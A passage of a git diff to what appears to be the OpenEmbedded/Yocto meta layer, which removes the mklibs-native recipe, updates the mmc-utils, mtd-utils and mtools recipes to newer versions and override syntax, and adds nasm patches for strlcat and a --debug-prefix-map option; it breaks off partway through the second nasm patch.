diff --git a/meta/recipes-devtools/mklibs/mklibs-native_0.1.44.bb b/meta/recipes-devtools/mklibs/mklibs-native_0.1.44.bb
deleted file mode 100644
index 1784af1f4c..0000000000
--- a/meta/recipes-devtools/mklibs/mklibs-native_0.1.44.bb
+++ /dev/null
@@ -1,22 +0,0 @@
-SUMMARY = "Shared library optimisation tool"
-DESCRIPTION = "mklibs produces cut-down shared libraries that contain only the routines required by a particular set of executables."
-HOMEPAGE = "https://launchpad.net/mklibs"
-SECTION = "devel"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://debian/copyright;md5=98d31037b13d896e33890738ef01af64"
-
-SRC_URI = "http://snapshot.debian.org/archive/debian/20180828T214102Z/pool/main/m/mklibs/mklibs_${PV}.tar.xz \
- file://ac_init_fix.patch\
- file://fix_STT_GNU_IFUNC.patch\
- file://sysrooted-ldso.patch \
- file://avoid-failure-on-symbol-provided-by-application.patch \
- file://show-GNU-unique-symbols-as-provided-symbols.patch \
- file://fix_cross_compile.patch \
-"
-
-SRC_URI[md5sum] = "6b6eeb9b4016c6a7317acc28c89e32cc"
-SRC_URI[sha256sum] = "3af0b6bd35e5b6fc58d8b68827fbae2ff6b7e20dd2b238ccb9b49d84722066c2"
-
-UPSTREAM_CHECK_URI = "${DEBIAN_MIRROR}/main/m/mklibs/"
-
-inherit autotools gettext native
diff --git a/meta/recipes-devtools/mmc/mmc-utils/0001-mmc_cmd.c-Use-extra-braces-when-initializing-subobje.patch b/meta/recipes-devtools/mmc/mmc-utils/0001-mmc_cmd.c-Use-extra-braces-when-initializing-subobje.patch
deleted file mode 100644
index 12707357b2..0000000000
--- a/meta/recipes-devtools/mmc/mmc-utils/0001-mmc_cmd.c-Use-extra-braces-when-initializing-subobje.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From 04fbe6ddb5f1e02efbcae3cdf5beb16757a98948 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 10 May 2019 12:58:01 -0700
-Subject: [PATCH] mmc_cmd.c: Use extra braces when initializing subobjects
-
-clang warns with -Werror,-Wmissing-braces, as following error
-| mmc_cmds.c:1886:36: error: suggest braces around initialization of subobject [-Werror,-W
-missing-braces]
-| struct rpmb_frame frame_status = {0};
-| ^
-| {}
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- mmc_cmds.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/mmc_cmds.c b/mmc_cmds.c
-index 19a9da1..838e8c3 100644
---- a/mmc_cmds.c
-+++ b/mmc_cmds.c
-@@ -1883,7 +1883,7 @@ static int do_rpmb_op(int fd,
- u_int16_t rpmb_type;
- struct mmc_ioc_multi_cmd *mioc;
- struct mmc_ioc_cmd *ioc;
-- struct rpmb_frame frame_status = {0};
-+ struct rpmb_frame frame_status = {{0}};
-
- if (!frame_in || !frame_out || !out_cnt)
- return -EINVAL;
diff --git a/meta/recipes-devtools/mmc/mmc-utils_git.bb b/meta/recipes-devtools/mmc/mmc-utils_git.bb
index 0c401c86fa..addefe9abf 100644
--- a/meta/recipes-devtools/mmc/mmc-utils_git.bb
+++ b/meta/recipes-devtools/mmc/mmc-utils_git.bb
@@ -1,23 +1,22 @@
SUMMARY = "Userspace tools for MMC/SD devices"
HOMEPAGE = "http://git.kernel.org/cgit/linux/kernel/git/cjb/mmc-utils.git/"
-LICENSE = "GPLv2"
+DESCRIPTION = "${SUMMARY}"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://mmc.c;beginline=1;endline=20;md5=fae32792e20f4d27ade1c5a762d16b7d"
SRCBRANCH ?= "master"
-SRCREV = "aef913e31b659462fe6b9320d241676cba97f67b"
+SRCREV = "4303889c8bd9a2357587eb6ebacecb70098a264d"
PV = "0.1+git${SRCPV}"
-SRC_URI = "git://git.kernel.org/pub/scm/linux/kernel/git/cjb/mmc-utils.git;branch=${SRCBRANCH} \
- file://0001-mmc_cmd.c-Use-extra-braces-when-initializing-subobje.patch \
- "
+SRC_URI = "git://git.kernel.org/pub/scm/linux/kernel/git/cjb/mmc-utils.git;branch=${SRCBRANCH}"
UPSTREAM_CHECK_COMMITS = "1"
S = "${WORKDIR}/git"
-CFLAGS_append_powerpc64 = " -D__SANE_USERSPACE_TYPES__"
-CFLAGS_append_mipsarchn64 = " -D__SANE_USERSPACE_TYPES__"
-CFLAGS_append_mipsarchn32 = " -D__SANE_USERSPACE_TYPES__"
+CFLAGS:append:powerpc64 = " -D__SANE_USERSPACE_TYPES__"
+CFLAGS:append:mipsarchn64 = " -D__SANE_USERSPACE_TYPES__"
+CFLAGS:append:mipsarchn32 = " -D__SANE_USERSPACE_TYPES__"
do_install() {
install -d ${D}${bindir}
diff --git a/meta/recipes-devtools/mtd/mtd-utils_git.bb b/meta/recipes-devtools/mtd/mtd-utils_git.bb
index 810fe40f4e..3318277477 100644
--- a/meta/recipes-devtools/mtd/mtd-utils_git.bb
+++ b/meta/recipes-devtools/mtd/mtd-utils_git.bb
@@ -1,25 +1,24 @@
SUMMARY = "Tools for managing memory technology devices"
HOMEPAGE = "http://www.linux-mtd.infradead.org/"
+DESCRIPTION = "mtd-utils tool is a generic Linux subsystem for memory devices, especially Flash devices."
SECTION = "base"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=0636e73ff0215e8d672dc4c32c317bb3 \
file://include/common.h;beginline=1;endline=17;md5=ba05b07912a44ea2bf81ce409380049c"
inherit autotools pkgconfig update-alternatives
DEPENDS = "zlib e2fsprogs util-linux"
-RDEPENDS_mtd-utils-tests += "bash"
+RDEPENDS:mtd-utils-tests += "bash"
-PV = "2.1.1"
+PV = "2.1.4"
-SRCREV = "4443221ce9b88440cd9f5bb78e6fe95621d36c8a"
-SRC_URI = "git://git.infradead.org/mtd-utils.git \
+SRCREV = "c7f1bfa44a84d02061787e2f6093df5cc40b9f5c"
+SRC_URI = "git://git.infradead.org/mtd-utils.git;branch=master \
file://add-exclusion-to-mkfs-jffs2-git-2.patch \
-"
+ "
-S = "${WORKDIR}/git/"
-
-EXTRA_OECONF += "--enable-install-tests"
+S = "${WORKDIR}/git"
# xattr support creates an additional compile-time dependency on acl because
# the sys/acl.h header is needed. libacl is not needed and thus enabling xattr
@@ -32,21 +31,19 @@ PACKAGECONFIG[jffs] = "--with-jffs,--without-jffs"
PACKAGECONFIG[ubifs] = "--with-ubifs,--without-ubifs"
PACKAGECONFIG[zstd] = "--with-zstd,--without-zstd,zstd"
-CPPFLAGS_append_riscv64 = " -pthread -D_REENTRANT"
+CPPFLAGS:append:riscv64 = " -pthread -D_REENTRANT"
EXTRA_OEMAKE = "'CC=${CC}' 'RANLIB=${RANLIB}' 'AR=${AR}' 'CFLAGS=${CFLAGS} ${@bb.utils.contains('PACKAGECONFIG', 'xattr', '', '-DWITHOUT_XATTR', d)} -I${S}/include' 'BUILDDIR=${S}'"
# Use higher priority than corresponding BusyBox-provided applets
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "flashcp flash_eraseall flash_lock flash_unlock nanddump nandwrite"
-ALTERNATIVE_${PN}-ubifs = "ubiattach ubidetach ubimkvol ubirename ubirmvol ubirsvol ubiupdatevol"
+ALTERNATIVE:${PN} = "flashcp flash_eraseall flash_lock flash_unlock nanddump nandwrite"
+ALTERNATIVE:${PN}-ubifs = "ubiattach ubidetach ubimkvol ubirename ubirmvol ubirsvol ubiupdatevol"
-ALTERNATIVE_LINK_NAME[flash_eraseall] = "${sbindir}/flash_eraseall"
ALTERNATIVE_LINK_NAME[nandwrite] = "${sbindir}/nandwrite"
ALTERNATIVE_LINK_NAME[nanddump] = "${sbindir}/nanddump"
ALTERNATIVE_LINK_NAME[ubiattach] = "${sbindir}/ubiattach"
-ALTERNATIVE_LINK_NAME[ubiattach] = "${sbindir}/ubiattach"
ALTERNATIVE_LINK_NAME[ubidetach] = "${sbindir}/ubidetach"
ALTERNATIVE_LINK_NAME[ubimkvol] = "${sbindir}/ubimkvol"
ALTERNATIVE_LINK_NAME[ubirename] = "${sbindir}/ubirename"
@@ -66,10 +63,10 @@ PACKAGES =+ "mtd-utils-misc mtd-utils-tests"
PACKAGES =+ "${@bb.utils.contains("PACKAGECONFIG", "jffs", "mtd-utils-jffs2", "", d)}"
PACKAGES =+ "${@bb.utils.contains("PACKAGECONFIG", "ubifs", "mtd-utils-ubifs", "", d)}"
-FILES_mtd-utils-jffs2 = "${sbindir}/mkfs.jffs2 ${sbindir}/jffs2dump ${sbindir}/jffs2reader ${sbindir}/sumtool"
-FILES_mtd-utils-ubifs = "${sbindir}/mkfs.ubifs ${sbindir}/ubi*"
-FILES_mtd-utils-misc = "${sbindir}/nftl* ${sbindir}/ftl* ${sbindir}/rfd* ${sbindir}/doc* ${sbindir}/serve_image ${sbindir}/recv_image"
-FILES_mtd-utils-tests = "${libexecdir}/mtd-utils/*"
+FILES:mtd-utils-jffs2 = "${sbindir}/mkfs.jffs2 ${sbindir}/jffs2dump ${sbindir}/jffs2reader ${sbindir}/sumtool"
+FILES:mtd-utils-ubifs = "${sbindir}/mkfs.ubifs ${sbindir}/ubi*"
+FILES:mtd-utils-misc = "${sbindir}/nftl* ${sbindir}/ftl* ${sbindir}/rfd* ${sbindir}/doc* ${sbindir}/serve_image ${sbindir}/recv_image"
+FILES:mtd-utils-tests = "${libexecdir}/mtd-utils/*"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/mtools/mtools/disable-hardcoded-configs.patch b/meta/recipes-devtools/mtools/mtools/disable-hardcoded-configs.patch
index 464ccc4ca7..6185f4d19f 100644
--- a/meta/recipes-devtools/mtools/mtools/disable-hardcoded-configs.patch
+++ b/meta/recipes-devtools/mtools/mtools/disable-hardcoded-configs.patch
@@ -1,4 +1,4 @@
-From 5c24356762bc4274d3ca4930b0bc7754f4ffd19b Mon Sep 17 00:00:00 2001
+From a5076415ed2c226ca7115d27e0ce51a8a0302090 Mon Sep 17 00:00:00 2001
From: Ed Bartosh <ed.bartosh@linux.intel.com>
Date: Tue, 13 Jun 2017 14:55:52 +0300
Subject: [PATCH] Disabled reading host configs.
@@ -12,10 +12,10 @@ Signed-off-by: Ed Bartosh <ed.bartosh@linux.intel.com>
1 file changed, 8 deletions(-)
diff --git a/config.c b/config.c
-index f086883..1c3f9bd 100644
+index 173eae0..0654cc1 100644
--- a/config.c
+++ b/config.c
-@@ -701,14 +701,6 @@ void read_config(void)
+@@ -836,14 +836,6 @@ void read_config(void)
memcpy(devices, const_devices,
nr_const_devices*sizeof(struct device));
diff --git a/meta/recipes-devtools/mtools/mtools/mtools-makeinfo.patch b/meta/recipes-devtools/mtools/mtools/mtools-makeinfo.patch
index 8ceb0af136..6ae91d6cb9 100644
--- a/meta/recipes-devtools/mtools/mtools/mtools-makeinfo.patch
+++ b/meta/recipes-devtools/mtools/mtools/mtools-makeinfo.patch
@@ -1,9 +1,48 @@
+From 3cf56b36db78679273f61ba78fbbf7f3fab52f68 Mon Sep 17 00:00:00 2001
+From: Marcin Juszkiewicz <hrw@openedhand.com>
+Date: Fri, 8 Jun 2007 08:35:12 +0000
+Subject: [PATCH] mtools: imported from OE
+
Upstream-Status: Inappropriate [licensing]
-Index: mtools-4.0.18/configure.in
-===================================================================
---- mtools-4.0.18.orig/configure.in
-+++ mtools-4.0.18/configure.in
+---
+ Makefile.in | 11 ++++++-----
+ configure.in | 27 +++++++++++++++++++++++++++
+ 2 files changed, 33 insertions(+), 5 deletions(-)
+
+diff --git a/Makefile.in b/Makefile.in
+index 616d59f..85b5b1d 100644
+--- a/Makefile.in
++++ b/Makefile.in
+@@ -26,10 +26,11 @@ USERCFLAGS =
+ USERLDFLAGS =
+ USERLDLIBS =
+
+-MAKEINFO = makeinfo
+-TEXI2DVI = texi2dvi
+-TEXI2PDF = texi2pdf
+-TEXI2HTML = texi2html
++MAKEINFO = @MAKEINFO@
++TEXI2DVI = @TEXI2DVI@
++TEXI2PDF = @TEXI2PDF@
++TEXI2HTML = @TEXI2HTML@
++DVI2PS = @DVI2PS@
+
+
+ # do not edit below this line
+@@ -199,7 +200,7 @@ dvi: mtools.dvi
+
+ ps: mtools.ps
+ %.ps: %.dvi
+- dvips -f < $< > $@
++ $(DVI2PS) -f < $< > $@
+
+ pdf: mtools.pdf
+ %.pdf: %.texi sysconfdir.texi
+diff --git a/configure.in b/configure.in
+index 5ff75c1..c0f7440 100644
+--- a/configure.in
++++ b/configure.in
@@ -35,6 +35,33 @@ AC_CANONICAL_SYSTEM
AC_C_CONST
AC_C_INLINE
@@ -35,35 +74,6 @@ Index: mtools-4.0.18/configure.in
+AC_SUBST(TEXI2HTML)
+AC_SUBST(DVI2PS)
+
-
dnl Check for configuration options
dnl Enable OS/2 extended density format disks
-Index: mtools-4.0.18/Makefile.in
-===================================================================
---- mtools-4.0.18.orig/Makefile.in
-+++ mtools-4.0.18/Makefile.in
-@@ -26,10 +26,11 @@ USERCFLAGS =
- USERLDFLAGS =
- USERLDLIBS =
-
--MAKEINFO = makeinfo
--TEXI2DVI = texi2dvi
--TEXI2PDF = texi2pdf
--TEXI2HTML = texi2html
-+MAKEINFO = @MAKEINFO@
-+TEXI2DVI = @TEXI2DVI@
-+TEXI2PDF = @TEXI2PDF@
-+TEXI2HTML = @TEXI2HTML@
-+DVI2PS = @DVI2PS@
-
-
- # do not edit below this line
-@@ -198,7 +199,7 @@ dvi: mtools.dvi
-
- ps: mtools.ps
- %.ps: %.dvi
-- dvips -f < $< > $@
-+ $(DVI2PS) -f < $< > $@
-
- pdf: mtools.pdf
- %.pdf: %.texi sysconfdir.texi
+ AC_ARG_ENABLE(xdf,
diff --git a/meta/recipes-devtools/mtools/mtools/no-x11.gplv3.patch b/meta/recipes-devtools/mtools/mtools/no-x11.gplv3.patch
deleted file mode 100644
index 9cb3e39f5c..0000000000
--- a/meta/recipes-devtools/mtools/mtools/no-x11.gplv3.patch
+++ /dev/null
@@ -1,18 +0,0 @@
-Disable building with X11 support.
-
-Upstream-Status: Inappropriate [disable feature]
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-
-diff -urN mtools-4.0.15.orig//Makefile.in mtools-4.0.15//Makefile.in
---- mtools-4.0.15.orig//Makefile.in 2010-10-17 08:41:09.000000000 -0700
-+++ mtools-4.0.15//Makefile.in 2010-11-23 13:59:49.258258374 -0800
-@@ -146,7 +146,7 @@
- CXXFLAGS = $(CPPFLAGS) $(DEFS) $(MYCXXFLAGS) -I. @extraincludedir@ -I@srcdir@ $(USERCFLAGS)
- LINK = $(CC) $(LDFLAGS) $(USERLDFLAGS) @extralibdir@
- ALLLIBS = $(USERLDLIBS) $(MACHDEPLIBS) $(SHLIB) $(LIBS)
--X_LDFLAGS = $(X_EXTRA_LIBS) $(X_LIBS) -lXau -lX11 $(LIBS)
-+X_LDFLAGS = $(X_EXTRA_LIBS) $(X_LIBS) $(LIBS)
- X_CCFLAGS = $(X_CFLAGS) $(CFLAGS)
-
- all: mtools $(LINKS) mkmanifest @FLOPPYD@ mtools.1 mtools.5
diff --git a/meta/recipes-devtools/mtools/mtools_4.0.23.bb b/meta/recipes-devtools/mtools/mtools_4.0.23.bb
deleted file mode 100644
index 2ae69797a4..0000000000
--- a/meta/recipes-devtools/mtools/mtools_4.0.23.bb
+++ /dev/null
@@ -1,51 +0,0 @@
-SUMMARY = "Utilities to access MS-DOS disks without mounting them"
-DESCRIPTION = "Mtools is a collection of utilities to access MS-DOS disks from GNU and Unix without mounting them."
-HOMEPAGE = "http://www.gnu.org/software/mtools/"
-SECTION = "optional"
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-DEPENDS += "virtual/libiconv"
-
-RDEPENDS_${PN}_libc-glibc = "glibc-gconv-ibm850"
-RRECOMMENDS_${PN}_libc-glibc = "\
- glibc-gconv-ibm437 \
- glibc-gconv-ibm737 \
- glibc-gconv-ibm775 \
- glibc-gconv-ibm851 \
- glibc-gconv-ibm852 \
- glibc-gconv-ibm855 \
- glibc-gconv-ibm857 \
- glibc-gconv-ibm860 \
- glibc-gconv-ibm861 \
- glibc-gconv-ibm862 \
- glibc-gconv-ibm863 \
- glibc-gconv-ibm865 \
- glibc-gconv-ibm866 \
- glibc-gconv-ibm869 \
- "
-SRC_URI[md5sum] = "1d17b58c53a46b29c7f521d4a55ccef1"
-SRC_URI[sha256sum] = "f188db26751aeb5692a79b2380b440ecc05fd1848a52f869d7ca1193f2ef8ee3"
-
-SRC_URI = "${GNU_MIRROR}/mtools/mtools-${PV}.tar.bz2 \
- file://mtools-makeinfo.patch \
- file://no-x11.gplv3.patch \
- file://clang_UNUSED.patch \
- "
-
-SRC_URI_append_class-native = " file://disable-hardcoded-configs.patch"
-
-inherit autotools texinfo distro_features_check
-
-EXTRA_OECONF = "--without-x"
-
-BBCLASSEXTEND = "native nativesdk"
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[libbsd] = "ac_cv_lib_bsd_main=yes,ac_cv_lib_bsd_main=no,libbsd"
-
-do_install_prepend () {
- # Create bindir to fix parallel installation issues
- mkdir -p ${D}/${bindir}
- mkdir -p ${D}/${datadir}
-}
diff --git a/meta/recipes-devtools/mtools/mtools_4.0.37.bb b/meta/recipes-devtools/mtools/mtools_4.0.37.bb
new file mode 100644
index 0000000000..3e072b0d93
--- /dev/null
+++ b/meta/recipes-devtools/mtools/mtools_4.0.37.bb
@@ -0,0 +1,49 @@
+SUMMARY = "Utilities to access MS-DOS disks without mounting them"
+DESCRIPTION = "Mtools is a collection of utilities to access MS-DOS disks from GNU and Unix without mounting them."
+HOMEPAGE = "http://www.gnu.org/software/mtools/"
+SECTION = "optional"
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+
+DEPENDS += "virtual/libiconv"
+
+RDEPENDS:${PN}:libc-glibc = "glibc-gconv-ibm850"
+RRECOMMENDS:${PN}:libc-glibc = "\
+ glibc-gconv-ibm437 \
+ glibc-gconv-ibm737 \
+ glibc-gconv-ibm775 \
+ glibc-gconv-ibm851 \
+ glibc-gconv-ibm852 \
+ glibc-gconv-ibm855 \
+ glibc-gconv-ibm857 \
+ glibc-gconv-ibm860 \
+ glibc-gconv-ibm861 \
+ glibc-gconv-ibm862 \
+ glibc-gconv-ibm863 \
+ glibc-gconv-ibm865 \
+ glibc-gconv-ibm866 \
+ glibc-gconv-ibm869 \
+ "
+SRC_URI[sha256sum] = "799b197e23e47b61259628810b27790efb7a1fe36037ef1da8a27b0ae4fa8342"
+
+SRC_URI = "${GNU_MIRROR}/mtools/mtools-${PV}.tar.bz2 \
+ file://mtools-makeinfo.patch \
+ file://clang_UNUSED.patch \
+ "
+
+SRC_URI:append:class-native = " file://disable-hardcoded-configs.patch"
+
+inherit autotools texinfo
+
+EXTRA_OECONF = "--without-x"
+
+BBCLASSEXTEND = "native nativesdk"
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[libbsd] = "ac_cv_lib_bsd_main=yes,ac_cv_lib_bsd_main=no,libbsd"
+
+do_install:prepend () {
+ # Create bindir to fix parallel installation issues
+ mkdir -p ${D}/${bindir}
+ mkdir -p ${D}/${datadir}
+}
diff --git a/meta/recipes-devtools/nasm/nasm/0001-stdlib-Add-strlcat.patch b/meta/recipes-devtools/nasm/nasm/0001-stdlib-Add-strlcat.patch
new file mode 100644
index 0000000000..0ede8a8328
--- /dev/null
+++ b/meta/recipes-devtools/nasm/nasm/0001-stdlib-Add-strlcat.patch
@@ -0,0 +1,115 @@
+From 1c5023002bad3a5b0bbc181fdb324160beace733 Mon Sep 17 00:00:00 2001
+From: Joshua Watt <JPEWhacker@gmail.com>
+Date: Tue, 19 Nov 2019 12:47:30 -0600
+Subject: [PATCH] stdlib: Add strlcat
+
+Adds strlcat which can be used to safely concatenate strings
+
+Upstream-Status: Submitted [https://bugzilla.nasm.us/show_bug.cgi?id=3392635]
+Signed-off-by: Joshua Watt <JPEWhacker@gmail.com>
+
+---
+ Makefile.in | 2 +-
+ configure.ac | 2 ++
+ include/compiler.h | 4 ++++
+ stdlib/strlcat.c | 43 +++++++++++++++++++++++++++++++++++++++++++
+ 4 files changed, 50 insertions(+), 1 deletion(-)
+ create mode 100644 stdlib/strlcat.c
+
+diff --git a/Makefile.in b/Makefile.in
+index bfae1f8..156dc4c 100644
+--- a/Makefile.in
++++ b/Makefile.in
+@@ -101,7 +101,7 @@ NASM = asm/nasm.$(O)
+ NDISASM = disasm/ndisasm.$(O)
+
+ LIBOBJ = stdlib/snprintf.$(O) stdlib/vsnprintf.$(O) stdlib/strlcpy.$(O) \
+- stdlib/strnlen.$(O) stdlib/strrchrnul.$(O) \
++ stdlib/strnlen.$(O) stdlib/strrchrnul.$(O) stdlib/strlcat.$(O) \
+ \
+ nasmlib/ver.$(O) \
+ nasmlib/alloc.$(O) nasmlib/asprintf.$(O) nasmlib/errfile.$(O) \
+diff --git a/configure.ac b/configure.ac
+index 7b72769..14fd033 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -234,6 +234,7 @@ PA_FUNC_SNPRINTF
+ PA_FUNC_VSNPRINTF
+ AC_CHECK_FUNCS([strlcpy])
+ AC_CHECK_FUNCS([strrchrnul])
++AC_CHECK_FUNCS([strlcat])
+
+ dnl These types are POSIX-specific, and Windows does it differently...
+ AC_CHECK_TYPES([struct _stati64])
+@@ -253,6 +254,7 @@ AC_CHECK_DECLS(strsep)
+ AC_CHECK_DECLS(strlcpy)
+ AC_CHECK_DECLS(strnlen)
+ AC_CHECK_DECLS(strrchrnul)
++AC_CHECK_DECLS(strlcat)
+
+ dnl Check for missing types
+ AC_TYPE_UINTPTR_T
+diff --git a/include/compiler.h b/include/compiler.h
+index b4fd3a8..7fb4821 100644
+--- a/include/compiler.h
++++ b/include/compiler.h
+@@ -169,6 +169,10 @@ size_t strlcpy(char *, const char *, size_t);
+ char *strrchrnul(const char *, int);
+ #endif
+
++#if !defined(HAVE_STRLCAT) || !HAVE_DECL_STRLCAT
++size_t strlcat(char *, const char *, size_t);
++#endif
++
+ #ifndef __cplusplus /* C++ has false, true, bool as keywords */
+ # ifdef HAVE_STDBOOL_H
+ # include <stdbool.h>
+diff --git a/stdlib/strlcat.c b/stdlib/strlcat.c
+new file mode 100644
+index 0000000..7084d46
+--- /dev/null
++++ b/stdlib/strlcat.c
+@@ -0,0 +1,43 @@
++/*
++ * Copyright (c) 2019 Garmin Ltd. or its subsidiaries
++ *
++ * Permission to use, copy, modify, and distribute this software for any
++ * purpose with or without fee is hereby granted, provided that the above
++ * copyright notice and this permission notice appear in all copies.
++ *
++ * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
++ * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
++ * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
++ * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
++ * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
++ * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
++ * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
++ */
++
++#include "compiler.h"
++
++/*
++ * Concatenate src string to dest of size size. The destination buffer will
++ * have no more than size-1 character when the operation finishes. Always NUL
++ * terminates, unless size == 0 or dest has no NUL terminator. Returns
++ * strlen(initial dest) + strlen(src); if retval >= size, truncation occurred.
++ */
++#ifndef HAVE_STRLCAT
++
++size_t strlcat(char *dest, const char *src, size_t size)
++{
++ size_t n;
++
++ /* find the NULL terminator in dest */
++ for (n = 0; i < size && dest[n] != '\0'; n++)
++ ;
++
++ /* destination was not NULL terminated. Return the initial size */
++ if (n == size)
++ return size;
++
++ return strlcpy(&dest[n], src, size - n) + n;
++}
++
++#endif
++
diff --git a/meta/recipes-devtools/nasm/nasm/0002-Add-debug-prefix-map-option.patch b/meta/recipes-devtools/nasm/nasm/0002-Add-debug-prefix-map-option.patch
new file mode 100644
index 0000000000..9f4c8dc0bd
--- /dev/null
+++ b/meta/recipes-devtools/nasm/nasm/0002-Add-debug-prefix-map-option.patch
@@ -0,0 +1,294 @@
+From 81d6519499dcfebe7d21e65e002a8885a4e8d852 Mon Sep 17 00:00:00 2001
+From: Joshua Watt <JPEWhacker@gmail.com>
+Date: Tue, 19 Nov 2019 13:12:17 -0600
+Subject: [PATCH] Add --debug-prefix-map option
+
+Adds an option to remap file prefixes in output object files. This is
+analogous to the "-fdebug-prefix-map" option in GCC, and allows files to
+be built in a reproducible manner regardless of the build directory.
+
+Upstream-Status: Submitted [https://bugzilla.nasm.us/show_bug.cgi?id=3392635]
+Signed-off-by: Joshua Watt <JPEWhacker@gmail.com>
+
+---
+ asm/nasm.c | 24 ++++++++++++++++++++++++
+ include/nasmlib.h | 9 +++++++++
+ nasm.txt | 4 ++++
+ nasmlib/filename.c | 20 ++++++++++++++++++++
+ output/outas86.c | 4 +++-
+ output/outcoff.c | 4 ++--
+ output/outelf.c | 2 +-
+ output/outieee.c | 2 +-
+ output/outobj.c | 2 +-
+ stdlib/strlcat.c | 2 +-
+ test/elfdebugprefix.asm | 6 ++++++
+ test/performtest.pl | 12 ++++++++++--
+ 12 files changed, 82 insertions(+), 9 deletions(-)
+ create mode 100644 test/elfdebugprefix.asm
+
+diff --git a/asm/nasm.c b/asm/nasm.c
+index e5ae89a..7a7f8b4 100644
+--- a/asm/nasm.c
++++ b/asm/nasm.c
+@@ -939,6 +939,7 @@ enum text_options {
+ OPT_KEEP_ALL,
+ OPT_NO_LINE,
+ OPT_DEBUG,
++ OPT_DEBUG_PREFIX_MAP,
+ OPT_REPRODUCIBLE
+ };
+ enum need_arg {
+@@ -971,6 +972,7 @@ static const struct textargs textopts[] = {
+ {"keep-all", OPT_KEEP_ALL, ARG_NO, 0},
+ {"no-line", OPT_NO_LINE, ARG_NO, 0},
+ {"debug", OPT_DEBUG, ARG_MAYBE, 0},
++ {"debug-prefix-map", OPT_DEBUG_PREFIX_MAP, true, 0},
+ {"reproducible", OPT_REPRODUCIBLE, ARG_NO, 0},
+ {NULL, OPT_BOGUS, ARG_NO, 0}
+ };
+@@ -1337,6 +1339,26 @@ static bool process_arg(char *p, char *q, int pass)
+ case OPT_REPRODUCIBLE:
+ reproducible = true;
+ break;
++ case OPT_DEBUG_PREFIX_MAP: {
++ struct debug_prefix_list *d;
++ char *c;
++ c = strchr(param, '=');
++
++ if (!c) {
++ nasm_error(ERR_NONFATAL | ERR_NOFILE | ERR_USAGE,
++ "option `--%s' must be of the form `BASE=DEST'", p);
++ break;
++ }
++
++ *c = '\0';
++ d = nasm_malloc(sizeof(*d));
++ d->next = debug_prefixes;
++ d->base = nasm_strdup(param);
++ d->dest = nasm_strdup(c + 1);
++ debug_prefixes = d;
++ *c = '=';
++ }
++ break;
+ case OPT_HELP:
+ help(stdout);
+ exit(0);
+@@ -2304,6 +2326,8 @@ static void help(FILE *out)
+ " -w-x disable warning x (also -Wno-x)\n"
+ " -w[+-]error promote all warnings to errors (also -Werror)\n"
+ " -w[+-]error=x promote warning x to errors (also -Werror=x)\n"
++ " --debug-prefix-map base=dest\n"
++ " remap paths starting with 'base' to 'dest' in output files\n"
+ , out);
+
+ fprintf(out, " %-20s %s\n",
+diff --git a/include/nasmlib.h b/include/nasmlib.h
+index 438178d..4c3e90d 100644
+--- a/include/nasmlib.h
++++ b/include/nasmlib.h
+@@ -250,10 +250,19 @@ int64_t readstrnum(char *str, int length, bool *warn);
+ */
+ int32_t seg_alloc(void);
+
++struct debug_prefix_list {
++ struct debug_prefix_list *next;
++ char *base;
++ char *dest;
++};
++
++extern struct debug_prefix_list *debug_prefixes;
++
+ /*
+ * Add/replace or remove an extension to the end of a filename
+ */
+ const char *filename_set_extension(const char *inname, const char *extension);
++char *filename_debug_remap(char *dest, char const *inname, size_t len);
+
+ /*
+ * Utility macros...
+diff --git a/nasm.txt b/nasm.txt
+index cc7fa27..d3485c9 100644
+--- a/nasm.txt
++++ b/nasm.txt
+@@ -147,6 +147,10 @@ OPTIONS
+ Prepend or append (respectively) the given argument to all global or
+ extern variables.
+
++--debug-prefix-map 'BASE=DEST'::
++ Map file names beginning with 'BASE' to 'DEST' when encoding them in
++ output object files.
++
+ SYNTAX
+ ------
+ This man page does not fully describe the syntax of *nasm*'s assembly language,
+diff --git a/nasmlib/filename.c b/nasmlib/filename.c
+index 172ae0b..fda2be4 100644
+--- a/nasmlib/filename.c
++++ b/nasmlib/filename.c
+@@ -39,6 +39,8 @@
+ #include "nasmlib.h"
+ #include "error.h"
+
++struct debug_prefix_list *debug_prefixes = NULL;
++
+ /*
+ * Add/modify a filename extension, assumed to be a period-delimited
+ * field at the very end of the filename. Returns a newly allocated
+@@ -61,3 +63,21 @@ const char *filename_set_extension(const char *inname, const char *extension)
+
+ return p;
+ }
++
++char *filename_debug_remap(char *dest, char const *in, size_t len)
++{
++ struct debug_prefix_list *d;
++ size_t n;
++
++ for (d = debug_prefixes; d != NULL; d = d->next) {
++ n = strlen(d->base);
++ if (strncmp(in, d->base, n) == 0) {
++ strlcpy(dest, d->dest, len);
++ strlcat(dest, &in[n], len);
++ return dest;
++ }
++ }
++
++ strlcpy(dest, in, len);
++ return dest;
++}
+diff --git a/output/outas86.c b/output/outas86.c
+index 54b22f8..c4a412c 100644
+--- a/output/outas86.c
